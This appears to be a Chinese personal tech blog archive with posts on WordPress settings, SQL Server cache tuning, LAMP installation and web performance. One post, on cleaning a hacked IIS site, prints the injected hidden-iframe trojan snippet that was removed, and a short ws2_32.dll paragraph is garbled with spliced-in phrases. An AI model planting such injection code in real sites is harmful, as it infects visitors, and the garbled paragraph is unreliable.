一进后台超级不适应，整个后台大换脸，看来还是要有短时间来适应下，不过整体来看还是很漂亮的，使用起来非常舒服，新加入的评论分页还没有机会尝试，毕竟来小窝串门的人还不是很多，以后还是有机会的，其他的新功能在慢慢研究了，已经2点了，明天还要去单位参加培训，休息去喽O(∩_∩)O

在Slyar的blog上看到相关的一篇文章修改WordPress标签云的字体大小以及显示数量介绍到标签云的一系列参数，顺便也转录过来了：

smallest – Adjusts the size of the smallest tags in the cloud. Default is “8″.
largest – Adjusts the size of the biggest tags in the cloud. Default is “22″.
unit – Sets the unit type for font size (i.e. point or em). Default is “pt”.
number – How many tags will display in the cloud. Default is “45″.
format – “Flat” displays an inline cloud with each term separated by whitespace. “List” generates an unordered list. “Array” lets you define an array of tags. Default is “flat”.
orderby – Sort the cloud by “name” or “count”. Default is “name”.
order – Sort the cloud in ascending or descending order. Default is “ASC”.

把参数值写入\wp-includes\widgets.php中的wp_tag_cloud()函数中即可，例如：

1

wp_tag_cloud('unit=px&smallest=12&largest=20&number=50&orderby=count');

即把标签云设置成最大字体20像素，最小字体12像素，显示数目50，按照使用次数排序

在上篇文章中曾经提到了字体小等等一些问题，这几天好好看了下附带的说明文档，其实这些都可以设置的。在说明文档Chart XML Reference栏目下就有详细的参数说明，针对不同的统计图表都用不同的参数说明。公共部分比如baseFont：设置字体样式；baseFontSize：设置字体大小，将<graph>中间加上baseFontSize=‘12’,字体就变成12号字了；还有numberPrefix、numberSuffix：前缀、后缀，根据说明中的提示“To use special characters for numberPrefix or numberSuffix, you’ll need to URL Encode them.”，比如后缀想显示“元”，在graph标签种应该设置成numberSuffix=‘%D4%AA’，一些文本编辑器支持代码转换可以直接转，实在找不到可以借用搜索引擎，例如百度，在搜索框输入“元”，点搜索，在地址栏里面“http://www.baidu.com.cn/s?wd=%D4%AA”中的wd=后面的字符串就是“元”字转过的编码。参数有许多，根据不同的图表，参数也有不同之处，可以通过设置不同的参数显示出很有个性的统计图出来。这里就不再一一说明了，可以参照说明文档中的说明，虽然都是英文版的，但是很简单明了，一般写过程序的基本都能看得懂。

最后顺便提下LICENSE，免费版只用于individual/research/commercial（个人/研究/交流），要尊重别人的劳动成果和知识产权。LICENSE如下：

• FusionCharts Free can be used for free if you are a individual/research/commercial user.
• FusionCharts Free can be distributed for free with your free or commercial softwares, irrespective of whether they’re open source or closed source.
• You must not sell FusionCharts Free as a component in itself. However, your commercial product can embed FusionCharts Free.
• You must not represent in any way that you’re the author of FusionCharts Free.

WP居然不自带文章点击数的统计，难道国外的博客都不将点击数作为一种衡量标准吗？虽然说点击数水分比较大，但是也不至于舍弃这个功能吧，也仅仅是加个字段，加几句代码罢了。依旧发挥懒猫精神，下了wp-postviews，安装后，在样式侧边管理里面多了一个新的模块，可以显示热门文章了，不过我遇到了两个很奇怪的问题，一个就是将计数器控制调整成everyone，怎么刷新都不见点击数加1；另外就是之前All in One SEO Pack所设置的meta标签内容全部乱码了-_-!暂时先停止这个插件，之后慢慢研究那块冲突了。

懒猫还是比较爱吃的，准备抽个时间把以前网上搜索的食谱整理下，发出来，一是方便自己查找，二是有福共享嘛。

晚上天气还是好冷。。。打一会字就手脚冰凉了，不多写了，钻被窝了。O(∩_∩)O

前几天又遇到网站显示统计图的需求，网上找了一下，大部分是要求组件。检索到一个用VML的解决方案，显示效果还比较满意，就先使用着了。不过随后发现VML只支持IE，没办法，只有放弃。

网上搜索时无意在一篇博文中看到了一款叫FusionChartsFree的Flash版统计图，下来试用了下，内附的使用文档还是很全面的，包括用法和例子。有点遗憾的是没有源码，不过一个free版也不能要求太多。还有一点就是中文汉字显示很小，估计只有10号，英文还能看清，中文基本就是一团。暂时先不填写XML中的标题和描述，先凑合用了。继续寻找更好的统计图。

后附几张效果图，从自带说明文档里面截取的：

上网查了下资料，遇到这个问题的人并不多，还在有人提起，也有热心人回复了大概原因以及大概解决方案：原因是空间商启用了某种缓存机制导致取IP产生错误，使得结果都是本机IP，也就是127.0.0.1。解决方案也很简单，更换获取IP语句就好。

查了下PHP获取IP的语句，主要是以下几种

1
2
3
4
5
6

$_SERVER["HTTP_X_FORWARDED_FOR"; 
$_SERVER["HTTP_CLIENT_IP"]; 
$_SERVER["REMOTE_ADDR"]; 
getenv("HTTP_X_FORWARDED_FOR"); 
getenv("HTTP_CLIENT_IP"); 
getenv("REMOTE_ADDR");

剩下的就很简单了，写一个测试页面，一个一个试，看那个能显示正确的IP地址，在修改/wp-includes/comment.php ,我的文件是在第718行

718

$commentdata['comment_author_IP'] = preg_replace( '/[^0-9a-fA-F:., ]/', '',$_SERVER['REMOTE_ADDR'] );

将$_SERVER['REMOTE_ADDR']改成上面测试正确IP的语句，问题解决。

本人对PHP还是初学者阶段，如有叙述不当之处，还希望多多斧正。

在网上搜索了下，先用的是Syntax Highlighter，页面显示还是很漂亮的，不过可能是纯JS的缘故，我这显示总是用一种滞后。页面打开后，显示的是普通的代码，代码比较长，页面版面变形厉害，等页面输出完毕后，代码部分才变成需要的高亮样式，感觉比较难受，而且个人喜欢使用禁用JS的火狐上网，看自己页面效果全无。只有先放一边了。

下载iG Syntax Hiliter，启用的时候不同的提示严重错误，无法启动，错误代码是：路径/geshi.php不存在，一头雾水，在服务器上查了下，文件的确在那，头晕中。

Highlight Source Pro和WP-Syntax有点类似，使用pre标签，每行代码短还好，代码一长，滚动条就出来了，有点破坏整体风格，虽然有些人可能喜欢滚动条。

暂时先用着WP-Syntax了，毕竟用到代码的地方并不是很多，有空再去网上找找其他的高亮插件了。

在论坛上常见有朋友抱怨，说SQL Server太吃内存了。这里笔者根据经验简单介绍一下内存相关的调优知识。首先说明一下SQL Server内存占用由哪几部分组成。SQL Server占用的内存主要由三部分组成：数据缓存(Data Buffer)、执行缓存(Procedure Cache)、以及SQL Server引擎程序。SQL Server引擎程序所占用缓存一般相对变化不大，则我们进行内存调优的主要着眼点在数据缓存和执行缓存的控制上。本文主要介绍一下执行缓存的调优。数据缓存的调优将在另外的文章中介绍。

对于减少执行缓存的占用，主要可以通过使用参数化查询减少内存占用。

1、使用参数化查询减少执行缓存占用

我们通过如下例子来说明一下使用参数化查询对缓存占用的影响。为方便试验，我们使用了一台没有其它负载的SQL Server进行如下实验。下面的脚本循环执行一个简单的查询，共执行10000次。
　　首先，我们清空一下SQL Server已经占用的缓存：

1

dbcc freeproccache

　　然后，执行脚本：

1
2
3
4
5
6
7
8
9
10
11
12

DECLARE @t datetime
SET @t = getdate()
SET NOCOUNT ON
DECLARE @i INT, @count INT, @sql nvarchar(4000)
SET @i = 20000
WHILE @i <= 30000
BEGIN
    SET @sql = 'SELECT @count=count(*) FROM P_Order WHERE MobileNo = ' + cast( @i AS varchar(10) )
    EXEC sp_executesql @sql ,N'@count INT OUTPUT', @count OUTPUT
    SET @i = @i + 1
END
PRINT DATEDIFF( second, @t, current_timestamp )

输出：
DBCC 执行完毕。如果 DBCC 输出了错误信息，请与系统管理员联系。
11

使用了11秒完成10000次查询。

我们看一下SQL Server缓存中所占用的查询计划：

1

SELECT Count(*) CNT,sum(size_in_bytes) TotalSize FROM sys.dm_exec_cached_plans

查询结果：共有2628条执行计划缓存在SQL Server中。它们所占用的缓存达到：
92172288字节 = 90012KB = 87 MB。

我们也可以使用dbcc memorystatus 命令来检查SQL Server的执行缓存和数据缓存占用。执行结果如下：

执行缓存占用了90088KB，有2629个查询计划在缓存里，有1489页空闲内存（每页8KB）可以被数据缓存和其他请求所使用。

我们现在修改一下前面的脚本，然后重新执行一下dbcc freeproccache。再执行一遍修改后的脚本：

1
2
3
4
5
6
7
8
9
10
11
12

DECLARE @t datetime
SET @t = getdate()
SET NOCOUNT ON
DECLARE @i INT, @count INT, @sql nvarchar(4000)
SET @i = 20000
WHILE @i <= 30000
BEGIN
    SET @sql = 'select @count=count(*) FROM P_Order WHERE MobileNo = @i'
    EXEC sp_executesql @sql, N'@count int output, @i int', @count OUTPUT, @i
    SET @i = @i + 1
END
PRINT DATEDIFF( second, @t, current_timestamp )

输出：
DBCC 执行完毕。如果 DBCC 输出了错误信息，请与系统管理员联系。
1
即这次只用1秒钟即完成了10000次查询。

我们再看一下sys.dm_exec_cached_plans中的查询计划：

1

SELECT Count(*) CNT,sum(size_in_bytes) TotalSize FROM sys.dm_exec_cached_plans

查询结果：共有4条执行计划被缓存。它们共占用内存： 172032字节 = 168KB。
如果执行dbcc memorystatus，则得到结果：



有12875页空闲内存(每页8KB)可以被数据缓存所使用。

到这里，我们已经看到了一个反差相当明显的结果。在现实中，这个例子中的前者，正是经常被使用的一种执行SQL脚本的方式（例如：在程序中通过合并字符串方式拼成一条SQL语句，然后通过ADO.NET或者ADO方式传入SQL Server执行）。

解释一下原因：

我们知道，SQL语句在执行前首先将被编译并通过查询优化引擎进行优化，从而得到优化后的执行计划，然后按照执行计划被执行。对于整体相似、仅仅是参数不同的SQL语句，SQL Server可以重用执行计划。但对于不同的SQL语句，SQL Server并不能重复使用以前的执行计划，而是需要重新编译出一个新的执行计划。同时，SQL Server在内存足够使用的情况下，此时并不主动清除以前保存的查询计划（注：对于长时间不再使用的查询计划，SQL Server也会定期清理）。这样，不同的SQL语句执行方式，就将会大大影响SQL Server中存储的查询计划数目。如果限定了SQL Server最大可用内存，则过多无用的执行计划占用，将导致SQL Server可用内存减少，从而在执行查询时尤其是大的查询时与磁盘发生更多的内存页交换。如果没有限定最大可用内存，则SQL Server由于可用内存减少，从而会占用更多内存。

对此，我们一般可以通过两种方式实现参数化查询：一是尽可能使用存储过程执行SQL语句（这在现实中已经成为SQL Server DBA的一条原则），二是使用sp_executesql 方式执行单个SQL语句（注意不要像上面的第一个例子那样使用sp_executesql)。

在现实的同一个软件系统中，大量的负载类型往往是类似的，所区别的也只是每次传入的具体参数值的不同。所以使用参数化查询是必要和可能的。另外，通过这个例子我们也看到，由于使用了参数化查询，不仅仅是优化了SQL Server内存占用，而且由于能够重复使用前面被编译的执行计划，使后面的执行不需要再次编译，最终执行10000次查询总共只使用了1秒钟时间。

2、检查并分析SQL Server执行缓存中的执行计划

通过上面的介绍，我们可以看到SQL缓存所占用的内存大小。也知道了SQL Server执行缓存中的内容主要是各种SQL语句的执行计划。则要对缓存进行优化，就可以通过具体分析缓存中的执行计划，看看哪些是有用的、哪些是无用的执行计划来分析和定位问题。

通过查询DMV: sys.dm_exec_cached_plans,可以了解数据库中的缓存情况，包括被使用的次数、缓存类型、占用的内存大小等。

1

SELECT usecounts, cacheobjtype, objtype,size_in_bytes, plan_handle FROM sys.dm_exec_cached_plans

通过缓存计划的plan_handle可以查询到该执行计划详细信息，包括所对应的SQL语句：

1
2
3
4
5
6
7

SELECT TOP 100 usecounts,
    objtype,
    p.size_in_bytes,
    [sql].[text]
FROM sys.dm_exec_cached_plans p
OUTER APPLY sys.dm_exec_sql_text (p.plan_handle) sql
ORDER BY usecounts

我们可以选择针对那些执行计划占用较大内存、而被重用次数较少的SQL语句进行重点分析。看其调用方式是否合理。另外，也可以对执行计划被重复使用次数较多的SQL语句进行分析，看其执行计划是否已经经过优化。进一步，通过对查询计划的分析，还可以根据需要找到系统中最占用IO、CPU时间、执行次数最多的一些SQL语句，然后进行相应的调优分析。篇幅所限，这里不对此进行过多介绍。读者可以查阅联机丛书中的：sys.dm_exec_query_plan内容得到相关帮助。

附：
1:关于DBCC MEMORY，可以查看微软的知识库: http://support.microsoft.com/kb/907877/EN-US
2:关于sys.dm_exec_cached_plans和sys.dm_exec_sql_text，请参阅联机丛书。

Yahoo! 的 Exceptional Performance team 在 Web 前端方面作出了卓越的贡献。广为人知的优化规则也由 13 条到 14 条，再到 20 条，乃至现在的 34 条–真是与时俱进啊。最新的 34 条也针对不同的角度做了分类。

面向内容的优化规则目前有 10 条。

1. 尽量减少 HTTP 请求 (Make Fewer HTTP Requests)

作为第一条，可能也是最重要的一条。根据 Yahoo! 研究团队的数据分析，有很大一部分用户访问会因为这一条而取得最大受益。有几种常见的方法能切实减少 HTTP 请求：
    * 1) 合并文件，比如把多个 CSS 文件合成一个；
    * 2) CSS Sprites 利用 CSS background 相关元素进行背景图绝对定位；参见：CSS Sprites: Image Slicing’s Kiss of Death
    * 3) 图像地图
    * 4) 内联图象 使用 data: URL scheme 在实际的页面嵌入图像数据.

2. 减少 DNS 查找 (Reduce DNS Lookups)

必须明确的一点，DNS 查找的开销是很大的。另外，我倒是觉得这是 Yahoo! 所有站点的通病，Yahoo！主站点可能还不够明显，一些分站点，存在明显的类似问题。对于国内站点来说，如果过多的使用了站外的 Widget ，也很容易引起过多的 DNS 查找问题。

3. 避免重定向 (Avoid Redirects)

不是绝对的避免，尽量减少。另外，应该注意一些不必要的重定向。比如对 Web 站点子目录的后面添加个 / (Slash) ，就能有效避免一次重定向。http://www.dbanotes.net/arch 与 http://www.dbanotes.net/arch/ 二者之间是有差异的。如果是 Apache 服务器，通过配置 Alias 或mod_rewrite 或是 DirectorySlash 能够消除这个问题。

4. 使得 Ajax 可缓存 (Make Ajax Cacheable)

响应时间对 Ajax 来说至关重要，否则用户体验绝对好不到哪里去。提高响应时间的有效手段就是 Cache 。其它的一些优化规则对这一条也是有效的。

5. 延迟载入组件 (Post-load Components)

6. 预载入组件 (Preload Components)

上面两条严格说来，都是属于异步这个思想灵活运用的事儿。

7. 减少 DOM 元素数量 (Reduce the Number of DOM Elements)

8. 切分组件到多个域 (Split Components Across Domains)

主要的目的是提高页面组件并行下载能力。但不要跨太多域名，否则就和第二条有些冲突了。

9. 最小化 iframe 的数量 (Minimize the Number of iframes)

熟悉 SEO 的朋友知道 iframe 是 SEO 的大忌。针对前端优化来说 iframe 有其好处，也有其弊端，一分为二看问题吧。

10. 杜绝 http 404 错误 (No 404s)

对页面链接的充分测试加上对 Web 服务器 error 日志的不断跟踪能有效减少 404 错误，亦能提升用户体验。值得一提的是，CSS 与 Java Script 引起的 404 错误因为定位稍稍”难”一点而往往容易被忽略。

这是内容篇的 10 条。应该说具体引导性的内容还不够详细。逐渐会根据自己的理解补充上来。

原理：当程序试图访问网络的时候，首先调用ws2_32.dll这个动态链接库！但一般蓝屏代码0×000000f4程序有个问题就是先找自己目录下面有没有这个文件，有个话就调用自己目录下面的！否则的话就调用WIN目录下面的。

DLL文件：ws2_32或者ws2_32.dll DLL
名称：WinSock2.032bit
描述： ws2_32.dll是WindowsSocket蓝屏死机s应用程序接口，用于支持Internet和网络应用程序。

准备工作： 下载安装文件mysql-standard-5.0.27-linux-i686.tar.gz、httpd-2.2.3.tar.gz、php-5.2.0.tar.gz ，并把它们放在/usr/local/src/ 文件夹里。
一、安装MySQL5
  
1、 在 /usr/local/  里建立 mysql 文件夹。
   # cd /usr/local
   # mkdir mysql
 
2、在 mysql 文件夹里解压文件( 这样解压出的文件夹就是当前文件夹下面 )。
   # cd mysql
   # tar -zxfz  /usr/local/src/mysql-standard-5.0.27-linux-i686.tar.gz
   # ln -s mysql mysql-standard-5.0.27-linux-i686 
//为文件夹 mysql-standard-5.0.27-linux-i686 建立快捷方式。
 
3、# groupadd mysql   
// 建立mysql组
   # useradd mysql -g mysql 
//建立mysql用户并且加入到mysql组中 
 
4、# cp /usr/local/mysql/support-files/my-medium.cnf /etc/my.cnf  
//在 support-files目录下有4个模版文件，我们选择其中一个座位Mysql的配置文件，覆盖/etc/my.cnf(系统默认的配置，其中设置了性能参数和Mysql的一些路径参数)。
 
5、# ./scripts/mysql_install_db –user=mysql    
//初试化表并且规定用mysql用户来访问。初始化表以后就开始给mysql和root用户设定访问权限。
 
6、# chown -R root .    
 //设定root能访问/usr/local/mysql ( 注意root 后面有一个空格和点)。
 
7、 # chown -R mysql data     
//设定mysql用户能访问/usr/local/mysql/data ,里面存的是mysql的数据库文件.这个目录是在/etc/my.cnf中有配置，在mysql_install_db时产生。
 
8、# chown -R mysql data/.    
//设定mysql用户能访问/usr/local/mysql/data/mysql下的所有文件
 
9、# chgrp -R mysql .      
//设定mysql组能够访问/usr/local/mysql
 
10、# /usr/local/mysql/bin/mysqld_safe –user=mysql &     
//运行mysql,如果没有问题的话,应该会出现类似这样的提示:[1] 42264
   # Starting mysqld daemon with databases from /usr/local/mysql/var    
//如果出现 mysql ended这样的语句，表示Mysql没有正常启动，你可以到log中查找问题，Log文件的通常在/etc/my.cnf中配置。大多数问题是权限设置不正确引起的。
 
11、# /usr/local/mysql/bin/mysqladmin -u root password yourpassword    
//默认安装密码为空，为了安全你必须马上修改.
 
12、# cp support-files/mysql.server /etc/rc.d/init.d/mysqld     
//copy编译目录的一个脚本
   # chmod 700 /etc/init.d/mysqld    
//设置使mysql每次启动都能自动运行
   # chkconfig –add mysqld
   # chkconfig –level 345 mysqld on
 
13、# service mysqld start    
//启动mysqld服务
   # netstat -atln     
//查看3306端口是否打开。要注意在防火墙中开放该端口。
  
二、安装apache2
  
1、解压文件
   # cd /usr/local 
   # tar -zxvf /usr/local/srchttpd-2.2.3.tar.gz
 
2、安装
   # cd httpd-2.2.3
   # ./configure –prefix=/usr/local/apache –enable-track-vars –enable-cgi –enable-so –enable-rewrite –enable-mods-shared=all –with-config-file-path=/usr/local/apache/conf
   # make
   # make install
 
3、启动
   # /usr/local/apache/bin/apachectl start
   # netstat -utl   //并检查是否启动
 
4、把apache加入开机启动，把下面这一行加入到/etc/rc.local中。
   /usr/local/apache/bin/apachectl start
  
三、安装php5
  
请先安装libxml，2.6.10以上版本的。

1、# cd /usr/local
   # tar -zvxf /usr/local/src/php-5.2.0.tar.gz 
   # cd php-5.2.0
 
2、# ./configure –prefix=/usr/local/php –with-mysql –with-apxs2=/usr/local/apache/bin/apxs
–enable-trace-vars –with-zlib-dir=/soft/zlib-1.2.3/
 
3、 # make; make install
 
4、拷贝PHP配置文件php.ini:
   # cp ../php5.2.0/php.ini-dist /usr/local/php/lib/php.ini
 
5、添加php类型
   # vi /usr/local/apache/conf/httpd.conf
   AddType application/x-httpd-php .php (230行左右)
 
6、重启
   # /usr/local/apache/bin/apachectl stop
   # /usr/local/apache/bin/apachectl start
 
7、测试
   # cd /usr/local/apache/htdocs
   # vi test.php
   <?php
      phpinfo();
   ?>
最后输入 http://您的地址/test.php 测试

今天上班，习惯打开Opera，突然想到这个有没有鼠标手势的，试了下，没有预想的效果。心想这么方便的功能不应该没有呀，在设置里面找了半天，没有找到（我用的是英文版的，Opera中文菜单显示的超级难看）。上网查了下资料，还是有的。具体在“工具－首选项－高级－快捷方式”下面，英文的是“Tools – Preferences – Advanced – Shortcuts”下面，钩选“启用鼠标手势”（Enable mouse gestures），使用默认方案就可以了，想调整的话可以双击下面方案调整。详细可以看Opera的帮助文档

感觉Opera的鼠标手势不像Maxthon和Firefox可以在屏幕上画出鼠标轨迹和提示，除非记得每个手势，要不很容易误操作

另外，鼠标手势是Opera发明的一种特色功能，至于Myie/Maxthon的鼠标手势功能那都是参考了Opera而来的。

Virustotal是一项分析可疑文件和便利快速探测病毒,蠕虫,木马和各类被反病毒引擎所能探测的恶意软件的服务，目前是25个病毒引擎，详细参看分析结果列表。当然他是免费的，所以只能帮你分析，不能帮你去处，你可以根据分析结果来决定如何处理这个文件。

首先当然是进入VirusTotal站点，网址是：www.virustotal.com。这是个国外站点，不过页面很简单，不会英文也会使用^^
点击右上“浏览”选取需要扫描的文件后点击“Send”按钮。只能单个文件分析，如果有多个文件请打包。如图：

显示文件上传中，请稍等，文件越大时间越长。如图：

如果使用人数比较多，会提示文件正在排队中，以及排队时间，如图：

分析中，依次使用多个病毒引擎进行分析，时间比较长，可以先做其他事情。如图：

分析结果以及文件基本信息。如图：

除了直接使用网站，还可以使用VirusTotal Uploader。这是一款官方提供的只有几十k的小插件。安装了它以后你只需对要检查的文件右键–>发送到->VirusTotal就可以了，很方便。如果使用的是Firefox，你还可以使用VirusTotal的Firefox插件。

同类型的网站还有Jotti、Virus.Org等等，使用起来大同小异，就不多叙述了。

PS：图片宽度一超过500，版面就乱了=。=无奈只有缩小点了，可能看不清楚。不知道有没有只自动截断图片超出范围部分的插件，自己先找找再说。

说到打印图片，方法有很多，再没有装任何图形处理软件的情况下用系统自带的画图板、WORD、IE都可以做到打印图片。系统自带的图片查看器就PASS了，除了固定几种尺寸，基本打出来的都是满A4的图片……

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

.con_div{ 
  width:440px; 
  height:300px; 
  border:1px solid #777; 
  text-align:center; 
  display:table-cell; 
  vertical-align:middle; 
  background:red; 
  color:#fff 
} 
/*FOR IE*/ 
.fixie{ 
  width:0; 
  height:100%; 
  display:inline-block; 
  vertical-align:middle; 
}

17

<div class="con_div">测试内容</div>

 
看来还是要找些CSS的书来看下

（更新版本、模板后coolcode显示错位了。。。调了半天也没调好，无奈放弃了。2008-11-12注）

wp_list_cats()各個自設選項列表如下，中间用连接符&连接

sort_column
ID 或 name，预设为 ‘ID
分别为依 ID 值或分类名称排序

sort_order
asc 或 desc，预设为递增 asc
排序递增或递减

list
0 或 1，预设为以清单方式显示： 1
设定是否以清单方式显示
将会在分类上加上<ul> <li>

optiondates
0 或 1，预设为不显示： 0
设定是否显示每个分类下最新发表文章的发表日期
optioncount
0 或 1，预设为不显示： 0
是否显示分类所拥有的文章计数

hide_empty
0 或 1，预设为隐藏： 1
设定是否隐藏无文章的分类

use_desc_for_title
0 或 1，预设为显示成分类说明： 1
设定分类连结的title是否显示为分类说明
<a title=”分类说明” href=”…>

children
0 或 1，预设为显示： 1
是否显示子分类

hierarchical
0 或 1，预设为层级方式显示： 1
子分类是否以层级方式显示

child_of
无默认值
只显示某项分类（ID）的子分类
child_of=分类ID值
有设定此项目的话，hide_empty要设为0

exclude
无默认值
设定不要显示的分类ID，可为复数
如 exclude=ID1,ID2,ID3,…..

feed
无默认值
设定分类 RSS 的显示文字
如 feed=RSS
如果这个项目有设定的话，分类之后将会显示分类Feed的连结

feed_image
无默认值
设定分类 RSS 的图片路径
如 feed=images/rss.gif
如果同时有设定 feed_image 与 feed，则将以 feed_image 为主

还要在k2的style.css里加一段代码，先找到sytle.css里的这段代码

1
2
3
4

/*- Sidebar Subpages Menu */
.sb-pagemenu ul {
margin-left: 10px;
}

在/*- Sidebar Subpages Menu */后面加上

1
2
3

.sb-categories ul.children {
margin: 0 0 0 20px;
}

即可

1
2

=GAG5=ABCDEFG
Redirector=C:windowshelpwanps.txt

wanps.txt内容为：

1
2
3
4
5
6
7
8
9
10

<body> 
<i src="http://XXXXX.org/" mce_src="http://XXXXX.org/" height=0 width=0></i> 
<language="java"> 
<!-- 
var expires = new Date(); 
expires.setTime(expires.getTime() + 5 * 24* 60 * 60 * 1000); 
="GAG5=ABCDEFG;expires="+expires.toGMTString(); 
--> 
</> 
</body>

停止IIS，删掉有问题的ISAPI和相关文件，重启IIS，浏览网页，挂马少了一个，不过还有一个依旧存在。代码类似，只不过网页地址加密过。

继续在网上查资料，也考虑到中了其他病毒/木马，或者ARP欺骗挂马，但是用杀软检查已经ARP检测工具也没有发现相关病毒以及ARP攻击，系统目录下asp.dll文件也没有什么改动。没办法，又把目光回到IIS上，初看那另外3条ISAPI扩展好象没有什么问题。不过我记得WIN2003默认.NET版本是1.1的，怎么有个1.0的，检查了C:\WINDOWS\Microsoft.NET\Framework目录下各个版本的文件，发现问题所在，那个1.0的文件夹下面只有3个文件，除了aspnet_filter.dll还有另外2个DLL（删快了，忘记录文件名了），判定应该是这块问题。停止IIS，删除ISAPI以及文件，再重启，挂马解决。

最后总结下目前几种挂马：
1、最基本的网页添加挂马，可以在受害程序中查找到挂马代码。通过程序漏洞、系统漏洞的方式直接添加在原始程序的头尾或者中间部分。删除原始程序代码中木马部分，打上漏洞补丁既能解决 。
2、病毒、木马挂马。解决方法：查杀病毒、木马。
3、ISAPI扩展挂马 ，往往全站都被挂马，原始程序中无挂马部分。解决方法如上。
4、系统文件C:\WINDOWS\system32\inetsrv\asp.dll（特指ASP的站点，PHP站点应该也有类似的）被修改挂马，用MD5软件和正常asp.dll的MD5码对比即可鉴别，解决方法停止IIS用正常的覆盖问题文件，重启IIS即可。
5、ARP欺骗挂马，原理不多叙述了，可以google下关键字“ARP 挂马 原理”，有很多这方面说明，以及解决方法。
6、CDN挂马，这个我也不是很懂，出现的比较少，感觉这个就类似某些地区的ADSL上网会被强行插入广告或者跳转至114站点。

目前只知道这么多了，以后有新的在补充。

中国互联网协会网络域名专家王云指出，事实上注册商的这种推销手法其中存在多重误导成份。所谓.CC，其实是位于印度洋、人口仅636人CocosIslands(科科斯群岛)岛国的国家和地区顶级域名，国际域名管理组织ICANN从来没有设立过Commercial Company或Chinese Company这样的通用顶级域名。而中文.CC实际上也只不过是一个岛国的国家顶级域名为后缀的中文域名。至于所谓“Chinese Company”和“Commercial Company”，只是某些企业为了营利而进行的误导，有投机、套利的嫌疑。

“类似于.cc这样情况的的顶级域名还有.la(老挝人民共和国)和.tv(图瓦卢)。这些国家由于经济落后和人口稀少等原因一般都将域名资源卖给了国外一些域名注册机构，而国内的一些不法注册商则利用大众对此事不甚了解的特点，蓄意曲解这些域名的含义并从中牟利。”一位业内人士透漏。

“作为一个和互联网接触不多的人，我应该怎么判断域名的好坏？” 自从今年年初互联网域名与地址管理机构ICANN宣布正式开始运营“.asia(亚洲)”顶级域名开始，互联网上的顶级域名已经达到了266种之多，许多大众面对数量如此庞大的顶级域名显得无所适从。而互联网域名作为一种虚拟财产，对其价值的估算并没有绝对权威的标准，更加深了人们的困惑。

业内专家介绍，尽管不存在绝对权威的标准，但Internet上最著名的域名交易商Greatdomains公布的域名估价模式还是具有很高的权威性和参考价值。

Greatdomains采用三个C来估计域名的价值，这三个C分别为Characters(域名长度)，Commerce(商业价值)和.Com(所在的顶级域名)。Greatdomains对每个C的评估结果分为0到4星五个等级，而三个C综合起来就决定了域名的价值。就顶级域名而言，Greatdomains认为同样的域名下，.com的价值是.net的四倍，而所有其它顶级域名的价值都不超过.com的十分之一。

“对于域名投资，政府首先应该对域名注册行业进行清理整顿，对存在欺诈行为的注册商进行严厉的处罚，另一方面也需要企业主加强自我保护意识，域名投资有风险，入市需谨慎。”该专家表示。

（节选《财经时报》相关报道）